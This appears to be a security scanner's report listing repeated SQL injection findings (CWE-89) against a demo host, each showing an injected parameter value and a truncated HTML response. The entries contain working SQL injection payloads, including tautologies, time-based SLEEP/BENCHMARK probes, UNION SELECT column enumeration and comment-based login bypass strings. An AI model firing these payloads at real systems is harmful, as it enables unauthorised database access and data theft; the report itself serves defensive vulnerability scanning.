iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1834
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1835
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1234 " AND 1=0 UNION ALL SELECT "admin", "
81dc9bdb52d04dc20036dbd8313ed055
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1836
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1837
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1838
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1839
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1840
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1841
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1842
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1843
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1844
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1845
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# /*…*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1846
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ")) or (("x"))=(("x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1847
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1848
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
